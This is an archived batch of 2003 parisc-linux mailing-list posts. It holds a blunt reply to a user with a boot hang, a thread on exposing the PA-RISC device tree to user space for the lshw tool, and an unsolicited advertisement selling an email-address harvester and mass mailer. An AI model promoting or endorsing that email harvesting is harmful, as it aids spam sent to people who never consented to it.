Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id A1E1949C41; Wed, 12 Mar 2003 19:57:53 +0100 (CET)
In-Reply-To: <200303121720.03452.trnepal@papuasia.org>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17912

There's something wrong with you.

Rule nb 1: NEVER answer in private to a mailing-list message.

Rule nb 2: NEVER claim there's a bug for software that works perfectly=20=

well for thousands of peoples (unless you run unstable, but then ALWAYS=20=

blame yourself).

Rule nb 3: ALWAYS suspect a problem with the hardware when something=20
goes wrong. (moreover if the hardware seems to have already failed.=20
What's that scsi error you're talking about ?)

Rule nb 4: ALWAYS post output and give details when reporting a bug.=20
How could I guess what's wrong with your box if I can't have a look at=20=

dmesg for instance? When does your machine hangs? Are the boot=20
parameters correct? Haven't you forgotten the "root=3D" argument? What=20=

are the kernel arguments you used? How the hell am I supposed to guess=20=

that kind of info?

and what's that superblock/filesystem stuff you're talking about, how=20
did you get to that step?
network images only contains a kernel, they're not supposed to launch=20
any installer...

let me suggest you to check items 2) and 6) from the template message=20
as well.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

Le mercredi, 12 mar 2003, =E0 17:20 Europe/Paris, trnepal a =E9crit :

> On Wednesday 12 March 2003 09:52, you wrote:
>
>> In your case 1) should be enough.
>>
>> -----
>> This is a template message.
>>
>> 1) Read the PA-RISC/Linux Boot HOWTO
>> http://pateam.esiee.fr/doc.html
>
> okk. but i read it _before posting :) ..
>
> ok. i managed it .. it was tftpd problem.
> something like a bug. the kernel was successfully
> transferred only from an incorrect location
> like /tftboot//image.
>
> now the machines hangs writing superblock and
> filesystem accounting :((
>
> i choosed a netwoork boot cause of this hang
> with an external cdrom (and some dmesg scsi error on
> the bus :) .. but now if verified a clean dmesg,
> but the machines hangs anyway :((
>
> any clues now? thankyou verymuch.
>
> see youu byee.'
>
>
>




From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Wed, 12 Mar 2003 21:50:50 +0100
Lines: 102
Approved: news@gmane.org
Message-ID: <200303122150.50302.deller@gmx.de>
References: <20030312173235.A4332@typhon.pilat.fr> <20030312164852.GT16414@parcelfarce.linux.theplanet.co.uk> <20030312183000.A4426@typhon.pilat.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622279 22806 80.91.229.3 (22 Nov 2014 02:11:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vincentl@ec-lyon.fr, Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 13:58:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.65.60])
	by dsl2.external.hp.com (Postfix) with SMTP id 097B14834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 13:58:00 -0700 (MST)
Original-Received: (qmail 23639 invoked by uid 0); 12 Mar 2003 20:57:57 -0000
Original-Received: from pD9040460.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.4.96)
  by mail.gmx.net (mp004-rz3) with SMTP; 12 Mar 2003 20:57:57 -0000
User-Agent: KMail/1.5.1
In-Reply-To: <20030312183000.A4426@typhon.pilat.fr>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17913

Hi,

I think the most intesting thing is the name of the system, which is (untested!) in 
/proc/cpuinfo (should give you "Raven U 240 (9000/780/C240)").

The rest is mostly and often standard serial, parallel, SCSI, pci (pci-utils!), and
some strange GSC cards (which often give you some of the above devices).

Regards,
Helge

On Wednesday 12 March 2003 18:30, Lyonel Vincent wrote:
> many thanks for the prompt answer
>
> well... that's exactly the answer I didn't want to ear ;o)
> lshw can't reasonably assume that /var/log/dmesg exists and is correct (or
> even dmesg) and dig into the trash.
>
> My kernel programming skills are extremely limited (not to say inexistent)
> but how difficult would it be to expose this information to user space
> through /proc? (AFAICT, we already have PA-RISC specific files like
> /proc/bus/runway) A simplistic format like <hwpath>\t<type> <instance>
> <hversion> <sversion> etc. would do.
> Do you think it'd be useful to make that kind of information available to
> user- space? (besides lshw of course ;op) If it's the case I'll try to do
> my best...
>
> cheers,
> lv.
>
> On Wed, Mar 12, 2003 at 04:48:52PM +0000, Matthew Wilcox wrote:
> > On Wed, Mar 12, 2003 at 05:32:36PM +0100, Lyonel Vincent wrote:
> > > I'm currently implementing a small tool called lshw (you can find it on
> > > Freshmeat) that enumerates installed devices on a machine and reports
> > > them as a device tree (text, HTML and XML).
> >
> > That's cool.
> >
> > > For now it knows about DMI, PCI busses, SCSI, IDE and PCMCIA and I
> > > would like to port it to PA-RISC Linux. I already get some very basic
> > > info from /proc/cpuinfo.
> > > Does anyone know how I can access the device tree as seen by the
> > > kernel? (much like HP-UX's ioscan does and what is shown in dmesg)
> >
> > You can look in /var/log/dmesg.  For example...
> >
> > Found devices:
> > 1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
> > 2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x0, 0xa, 
> > additional addresses: 0xf2800000 3. Raven U/L2 Dino PS/2 Port (10) at
> > 0xf2001000 [8/1], versions 0x6, 0x0, 0x96 4. Raven U/L2 Dino RS-232 (10)
> > at 0xf2003000 [8/3], versions 0x6, 0x0, 0x8c 5. Raven U/L2 Core FW-SCSI
> > (4) at 0xf200c000 [8/12], versions 0x3b, 0x0, 0x89 6. Raven U/L2 Core BA
> > (11) at 0xffd00000 [8/16], versions 0x3b, 0x0, 0x81,  additional
> > addresses: 0xffd0c000 0xffc00000 7. Raven U/L2 Core Centronics (10) at
> > 0xffd02000 [8/16/0], versions 0x3b, 0x0, 0x74,  additional addresses:
> > 0xffd01000 0xffd03000 8. Raven U/L2 Core Audio (10) at 0xffd04000
> > [8/16/1], versions 0x3b, 0x4, 0x7b 9. Raven U/L2 Core RS-232 (10) at
> > 0xffd05000 [8/16/4], versions 0x3b, 0x0, 0x8c 10. Raven U/L2 Core SCSI
> > (10) at 0xffd06000 [8/16/5], versions 0x3b, 0x0, 0x82 11. Raven U/L2 Core
> > LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x3b, 0x0, 0x8a 12.
> > Raven U/L2 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x3b,
> > 0x0, 0x84 13. Raven U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8],
> > versions 0x3b, 0x0, 0x84 14. Raven Backplane Wax BA (11) at 0xffe00000
> > [8/20], versions 0x17, 0x0, 0x8e 15. Raven Backplane Wax HIL (10) at
> > 0xffe01000 [8/20/1], versions 0x17, 0x0, 0x73 16. Raven Backplane RS-232
> > (10) at 0xffe02000 [8/20/2], versions 0x17, 0x0, 0x8c 17. Raven Backplane
> > Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x17, 0x0, 0x90, 
> > additional addresses: 0xffc88000 0xfc00000b 18. Gecko GSC Core Graphics
> > (10) at 0xfa000000 [8/24], versions 0x16, 0x0, 0x85,  additional
> > addresses: 0xf0026000 19. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63],
> > versions 0x501, 0x1, 0xc 20. U2-IOA BC Runway Port (12) at 0xfff8a000
> > [10], versions 0x580, 0xf, 0xb 21. U2-IOA BC GSC+ Port (7) at 0xf103f000
> > [10/63], versions 0x501, 0x1, 0xc 22. Raven U 240 (9000/780/C240) (0) at
> > 0xfffa0000 [32], versions 0x599, 0x0, 0x4 23. Memory (1) at 0xfffb1000
> > [49], versions 0x6f, 0x0, 0x9
> >
> > The numbers in [] tell you what the tree looks like.  In this example, we
> > have 4 top-level devices: #1, #20, #22 & #23.
> >
> > > I've tried digging in /proc without much success... is there a way to
> > > get this information from user space? PPC Linux exposes the device tree
> > > in /proc for example. A mechanism similar to /proc/bus/pci/devices
> > > (machine- parseable text) would be great, too.
> >
> > In 2.5, this information's available via sysfs.  I don't think we'll
> > expose it in /proc.
> >
> > > PS: I noticed that /proc/iomem lists 00000000-000009ff as "PDC data
> > > (Page Zero)", is there a chance I can find what I need there? (I dd-ed
> > > it from /dev/mem but I can't say if it contains useful data...)
> >
> > No, you need to actually make firmware calls and you can't do that from
> > user mode.
> >
> > --
> > "It's not Hollywood.  War is real, war is primarily not about defeat or
> > victory, it is about death.  I've seen thousands and thousands of dead
> > bodies. Do you think I want to have an academic debate on this subject?"
> > -- Robert Fisk



From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lyonel Vincent <vincentl@ec-lyon.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Wed, 12 Mar 2003 23:36:51 +0100
Lines: 135
Approved: news@gmane.org
Message-ID: <20030312233651.74216d8f.vincentl@ec-lyon.fr>
References: <20030312173235.A4332@typhon.pilat.fr>
	<20030312164852.GT16414@parcelfarce.linux.theplanet.co.uk>
	<20030312183000.A4426@typhon.pilat.fr>
	<200303122150.50302.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622279 22815 80.91.229.3 (22 Nov 2014 02:11:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 15:36:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from typhon.homeip.net (aboukir-102-1-19.net1.nerim.net [213.41.184.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37A7D4834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 15:36:53 -0700 (MST)
Original-Received: from venus (venus.pilat.fr [192.168.1.3])
	by typhon.homeip.net (Postfix) with SMTP
	id 8D82521417D; Wed, 12 Mar 2003 23:36:51 +0100 (CET)
In-Reply-To: <200303122150.50302.deller@gmx.de>
X-Mailer: Sylpheed version 0.8.11 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17914

Hello Helge,

The goal is precisely that: *accurately* report installed hardware
(including the "standard" stuff) and how it's connected in a *unified*
way, without having to use dozens of inconsistent tools (pci-utils,
lsusb, sg-utils, cat, grep, black magic, etc.).
A good example of this being HP-UX's ioscan. DMI-aware PCs also have a
similar feature.

SCSI, PCI etc. are already enumerated platform-independently (without
needing pci-utils nor sg-utils, only pci.ids) but they currently seem to
come "out of the void" as the underlying hardware (LASI, various GSC
bridges, etc) is not enumerated.
Concerning the obvious /proc/cpuinfo, its info is reported too (on
PA-RISC, x86, IA-64, PowerPC and Alpha).

In short, that's why I'd like to access ioscan-like data under PA-RISC
Linux from user space.

cheers,
lv.

On Wed, 12 Mar 2003 21:50:50 +0100
Helge Deller <deller@gmx.de> wrote:

> Hi,
> 
> I think the most intesting thing is the name of the system, which is
> (untested!) in /proc/cpuinfo (should give you "Raven U 240
> (9000/780/C240)").
> 
> The rest is mostly and often standard serial, parallel, SCSI, pci
> (pci-utils!), and some strange GSC cards (which often give you some of
> the above devices).
> 
> Regards,
> Helge
> 
> On Wednesday 12 March 2003 18:30, Lyonel Vincent wrote:
> > many thanks for the prompt answer
> >
> > well... that's exactly the answer I didn't want to ear ;o)
> > lshw can't reasonably assume that /var/log/dmesg exists and is
> > correct (or even dmesg) and dig into the trash.
> >
> > My kernel programming skills are extremely limited (not to say
> > inexistent) but how difficult would it be to expose this information
> > to user space through /proc? (AFAICT, we already have PA-RISC
> > specific files like/proc/bus/runway) A simplistic format like
> > <hwpath>\t<type> <instance><hversion> <sversion> etc. would do.
> > Do you think it'd be useful to make that kind of information
> > available to user- space? (besides lshw of course ;op) If it's the
> > case I'll try to do my best...
> >
> > cheers,
> > lv.
> >
> > On Wed, Mar 12, 2003 at 04:48:52PM +0000, Matthew Wilcox wrote:
> > > On Wed, Mar 12, 2003 at 05:32:36PM +0100, Lyonel Vincent wrote:
> > > > I'm currently implementing a small tool called lshw (you can
> > > > find it on Freshmeat) that enumerates installed devices on a
> > > > machine and reports them as a device tree (text, HTML and XML).
> > >
> > > That's cool.
> > >
> > > > For now it knows about DMI, PCI busses, SCSI, IDE and PCMCIA and
> > > > I would like to port it to PA-RISC Linux. I already get some
> > > > very basic info from /proc/cpuinfo.
> > > > Does anyone know how I can access the device tree as seen by the
> > > > kernel? (much like HP-UX's ioscan does and what is shown in
> > > > dmesg)
> > >
> > > You can look in /var/log/dmesg.  For example...
> > >
> > > Found devices:
> > > 1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580,
> > > 0xf, 0xb 2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions
> > > 0x680, 0x0, 0xa, additional addresses: 0xf2800000 3. Raven U/L2
> > > Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6, 0x0, 0x96
> > > 4. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/3], versions 0x6,
> > > 0x0, 0x8c 5. Raven U/L2 Core FW-SCSI(4) at 0xf200c000 [8/12],
> > > versions 0x3b, 0x0, 0x89 6. Raven U/L2 Core BA(11) at 0xffd00000
> > > [8/16], versions 0x3b, 0x0, 0x81,  additional addresses:
> > > 0xffd0c000 0xffc00000 7. Raven U/L2 Core Centronics (10) at
> > > 0xffd02000 [8/16/0], versions 0x3b, 0x0, 0x74,  additional
> > > addresses: 0xffd01000 0xffd03000 8. Raven U/L2 Core Audio (10) at
> > > 0xffd04000[8/16/1], versions 0x3b, 0x4, 0x7b 9. Raven U/L2 Core
> > > RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, 0x0, 0x8c 10.
> > > Raven U/L2 Core SCSI(10) at 0xffd06000 [8/16/5], versions 0x3b,
> > > 0x0, 0x82 11. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000
> > > [8/16/6], versions 0x3b, 0x0, 0x8a 12. Raven U/L2 Core PS/2 Port
> > > (10) at 0xffd08000 [8/16/7], versions 0x3b, 0x0, 0x84 13. Raven
> > > U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x3b,
> > > 0x0, 0x84 14. Raven Backplane Wax BA (11) at 0xffe00000[8/20],
> > > versions 0x17, 0x0, 0x8e 15. Raven Backplane Wax HIL (10) at
> > > 0xffe01000 [8/20/1], versions 0x17, 0x0, 0x73 16. Raven Backplane
> > > RS-232(10) at 0xffe02000 [8/20/2], versions 0x17, 0x0, 0x8c 17.
> > > Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions
> > > 0x17, 0x0, 0x90, additional addresses: 0xffc88000 0xfc00000b 18.
> > > Gecko GSC Core Graphics(10) at 0xfa000000 [8/24], versions 0x16,
> > > 0x0, 0x85,  additional addresses: 0xf0026000 19. U2-IOA BC GSC+
> > > Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc 20. U2-IOA
> > > BC Runway Port (12) at 0xfff8a000[10], versions 0x580, 0xf, 0xb
> > > 21. U2-IOA BC GSC+ Port (7) at 0xf103f000[10/63], versions 0x501,
> > > 0x1, 0xc 22. Raven U 240 (9000/780/C240) (0) at 0xfffa0000 [32],
> > > versions 0x599, 0x0, 0x4 23. Memory (1) at 0xfffb1000[49],
> > > versions 0x6f, 0x0, 0x9
> > >
> > > The numbers in [] tell you what the tree looks like.  In this
> > > example, we have 4 top-level devices: #1, #20, #22 & #23.
> > >
> > > > I've tried digging in /proc without much success... is there a
> > > > way to get this information from user space? PPC Linux exposes
> > > > the device tree in /proc for example. A mechanism similar to
> > > > /proc/bus/pci/devices(machine- parseable text) would be great,
> > > > too.
> > >
> > > In 2.5, this information's available via sysfs.  I don't think
> > > we'll expose it in /proc.
> > >
> > > > PS: I noticed that /proc/iomem lists 00000000-000009ff as "PDC
> > > > data(Page Zero)", is there a chance I can find what I need
> > > > there? (I dd-ed it from /dev/mem but I can't say if it contains
> > > > useful data...)
> > >
> > > No, you need to actually make firmware calls and you can't do that
> > > from user mode.
> > >
> > > --
> > > "It's not Hollywood.  War is real, war is primarily not about
> > > defeat or victory, it is about death.  I've seen thousands and
> > > thousands of dead bodies. Do you think I want to have an academic
> > > debate on this subject?"-- Robert Fisk
> 


From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <herald@ns1.nabitel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (ad)Web Robot, Email Collector/Sender, Server Tester - Free Download!
Date: Thu, 13 Mar 2003 09:27:26 +0900
Lines: 141
Approved: news@gmane.org
Message-ID: <NS1VxwNVBw0f0gh0eTZ00000ce3@ns1>
Reply-To: <herald@ns1.nabitel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;	boundary="----=_NextPart_000_32B8_01C2E942.C290D460"
X-Trace: ger.gmane.org 1416622279 22822 80.91.229.3 (22 Nov 2014 02:11:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:19 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 17:30:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns1 (unknown [211.192.186.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4ADF4837
	for <parisc-linux@parisc-linux.org>; Wed, 12 Mar 2003 17:30:45 -0700 (MST)
Original-Received: from mail pickup service by ns1 with Microsoft SMTPSVC;
	 Thu, 13 Mar 2003 09:27:26 +0900
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-OriginalArrivalTime: 13 Mar 2003 00:27:26.0468 (UTC) FILETIME=[52DE9440:01C2E8F7]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17915

This is a multi-part message in MIME format.

------=_NextPart_000_32B8_01C2E942.C290D460
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: quoted-printable


Sorry for interrupting you - click refuse
<mailto:mailer@ns1.nabitel.com>  for no more mail... =09
=A1=A1 =09
- Welcome to NabiTel's <http://www.nabitel.com/English.asp>  software
products and portal services - =09
Software Products =09
 <http://www.DollarFront.com/English.asp>=20

Web Robot: also called web spider or web crawler, collects useful web
page information by navigating world wide web sites. Purchase now only
by $20!

Download free trial version now !
<http://www.DollarFront.com/English.asp>=20

 <http://www.DollarFront.com/English.asp>  	eMail ID
Collector/Sender: Collects/sends email ids publicly opened on various
web pages, with good intention. Purchase both programs only by $10!=20

Download free trial version now !
<http://www.DollarFront.com/English.asp>=20

 <http://www.DollarFront.com/English.asp>  =09
Web Server Performance Tester: Do you want to verify whether your or
customers web server has sufficient capacity? You have to pay a lots of
money to do so! Use our Web Stress! Its very cheap but very powerful and
practical! The price? Only $5! Purchase it now! You can create new
business items with Web Stress.=20

Download free trial version now !
<http://www.DollarFront.com/English.asp> =20
Portal Services =09
 <http://www.domainlinkers.com/English.asp>  	Domain Auction: Do you
want to sell or buy Internet domains? The DomainLinkers.com is the best
place to deal your domains! Do no t hesitate to visit NOW!

Sell or Buy Internet Domains !
<http://www.domainlinkers.com/English.asp>=20

Have a nice day.  Thank you. =09

------=_NextPart_000_32B8_01C2E942.C290D460
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: quoted-printable

<html><head>   <title>Nabitel information broadcast mail</title>   <meta =
http-equiv=3D"Content-Type" content=3D"text/html; =
charset=3Deuc-kr"></head><body bgcolor=3D"white" text=3D"blue" =
link=3D"blue" vlink=3D"purple" alink=3D"red"><br><div align=3D"center">  =
<center>   <table border=3D"0" width=3D"538" height=3D"47" =
cellspacing=3D"0" bgcolor=3D"#FFFFCC" cellpadding=3D"0">   <tr>      <td =
height=3D27 align=3Dcenter valign=3Dmiddle bgcolor=3D#00CCFF width=3D536 =
colspan=3D2>        <font color=3D"#FFFFFF" size=3D"2"><b>Sorry for =
interrupting you - click <a =
href=3D"mailto:mailer@ns1.nabitel.com">refuse</a> for no more =
mail...</b></font>        </td>   </tr>   <tr>      <td height=3D27 =
align=3Dcenter valign=3Dmiddle width=3D536 colspan=3D2 =
bordercolor=3D"#FFFFFF">        =A1=A1      </td>   </tr>   <tr>      =
<td height=3D27 align=3Dcenter valign=3Dmiddle bgcolor=3D#FF0000 =
width=3D536 colspan=3D2>        <font color=3D"#FFFFFF" size=3D"2"><b>- =
Welcome to <a href=3D"http://www.nabitel.com/English.asp" =
target=3D"_blank">NabiTel's</a>                   software products and =
portal services -</b></font>               </td>   </tr>   <tr>      <td =
height=3D26 align=3Dcenter valign=3Dmiddle bgcolor=3D#EEEEEE width=3D534 =
bordercolor=3D"#00FFFF" colspan=3D"2">        <b><font color=3D"#00CCFF" =
size=3D"2">Software Products</font></b>       </td>   </tr>   <tr>      =
<td height=3D72 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 =
width=3D160 bordercolor=3D"#00FFFF">        <p align=3D"center"><font =
size=3D"2"><a href=3D"http://www.DollarFront.com/English.asp" =
target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/robot3.jpg width=3D156 =
height=3D91 align=3Dleft></a></font></p>      </td>  </center>      <td =
height=3D72 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 width=3D374 =
bordercolor=3D"#00FFFF">        <p align=3D"center"><font =
size=3D"2"><b>Web Robot:</b> also called web          spider or web =
crawler, collects useful web page information by          navigating =
world wide web sites. Purchase now only by <font =
color=3D"#FF00FF">$20!</font></font></p>        <p =
align=3D"center"><b><a href=3D"http://www.DollarFront.com/English.asp" =
target=3D"_blank"><font size=3D"2">Download         free trial version =
now !</font></a></b></p>      </td>   </tr>  <center>   <tr>      <td =
height=3D53 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF =
width=3D160>        <font size=3D"2"><a =
href=3D"http://www.DollarFront.com/English.asp" target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/envelope4.jpg width=3D155 =
height=3D95 align=3Dleft></a></font>      </td>      <td height=3D53 =
align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF width=3D374>        <p =
align=3D"center"><font size=3D"2"><b>eMail ID Collector/Sender:</b> =
Collects/sends            email ids publicly opened on various web =
pages, with good intention.         Purchase both programs only by <font =
color=3D"#FF00FF">$10!</font> </font></p>         <p =
align=3D"center"><b><a href=3D"http://www.DollarFront.com/English.asp" =
target=3D"_blank"><font size=3D"2">Download         free trial version =
now !</font></a></b></p>      </td>   </tr>   <tr>      <td height=3D27 =
align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 width=3D162>        <a =
href=3D"http://www.DollarFront.com/English.asp" target=3D"_blank"><img =
src=3D"http://www.allthatcomputers.com/image/PressureTester.jpg" =
width=3D154 height=3D97 align=3D"left"></a>       </td>  </center>      =
<td height=3D27 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFFF00 =
width=3D376>        <p align=3D"center"><font size=3D"2"><b>Web Server =
Performance Tester:</b> Do you want to verify whether your             =
or customers web server has sufficient capacity? You have to pay a lots  =
           of money to do so! Use our <font color=3D"#FF00FF">Web =
Stress</font>! Its             very cheap but very powerful and =
practical! The price? <font color=3D"#FF00FF">Only         =
$5!</font>&nbsp;Purchase it now! You can create new business items with  =
           <font color=3D"#FF00FF">Web Stress</font>.</font> </p>        =
<p align=3D"center"><b><a =
href=3D"http://www.DollarFront.com/English.asp" target=3D"_blank"><font =
size=3D"2">Download         free trial version now !</font></a></b>      =
 </td>   </tr>  <center>   <tr>      <td height=3D27 align=3Dcenter =
valign=3Dmiddle bgcolor=3D#EEEEEE width=3D534 colspan=3D"2">        =
<b><font color=3D"#00CCFF" size=3D"2">Portal Services</font></b>       =
</td>   </tr>   <tr>      <td height=3D81 align=3Dcenter valign=3Dmiddle =
bgcolor=3D#FFCCFF width=3D160>        <font size=3D"2"><a =
href=3D"http://www.domainlinkers.com/English.asp" target=3D"_blank"><img =
src=3Dhttp://www.allthatcomputers.com/image/=C0=AF=B7=B4=C0=C7=BC=BA.jpg =
width=3D153 height=3D86 align=3Dleft></a></font>      </td>      <td =
height=3D81 align=3Dcenter valign=3Dmiddle bgcolor=3D#FFCCFF =
width=3D374>        <p align=3D"center"><font size=3D"2"><b>Domain =
Auction:</b> Do you want to         sell or buy Internet domains? The =
DomainLinkers.com is the best place to         deal your domains! Do no =
t hesitate to visit NOW!</font></p>        <p align=3D"center"><b><a =
href=3D"http://www.domainlinkers.com/English.asp" =
target=3D"_blank"><font size=3D"2">Sell         or Buy Internet Domains =
!</font></a></b></p>        </td>   </tr>  </center>  <center>   <tr>    =
  <td width=3D532 bgcolor=3D#FF0000 valign=3Dmiddle height=3D27 =
align=3Dcenter colspan=3D"2">        <b><font color=3D"#FFFFFF" =
size=3D"2">Have a nice day.&nbsp; Thank you.</font></b>         </td>   =
</tr>      </table>  </center>  </div></body></html>
------=_NextPart_000_32B8_01C2E942.C290D460--


From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <herald@ns1.nabitel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (ad)Web Robot, Email Collector/Sender, Server Tester - Free Download!
Date: Thu, 13 Mar 2003 09:27:25 +0900
Lines: 141
Approved: news@gmane.org
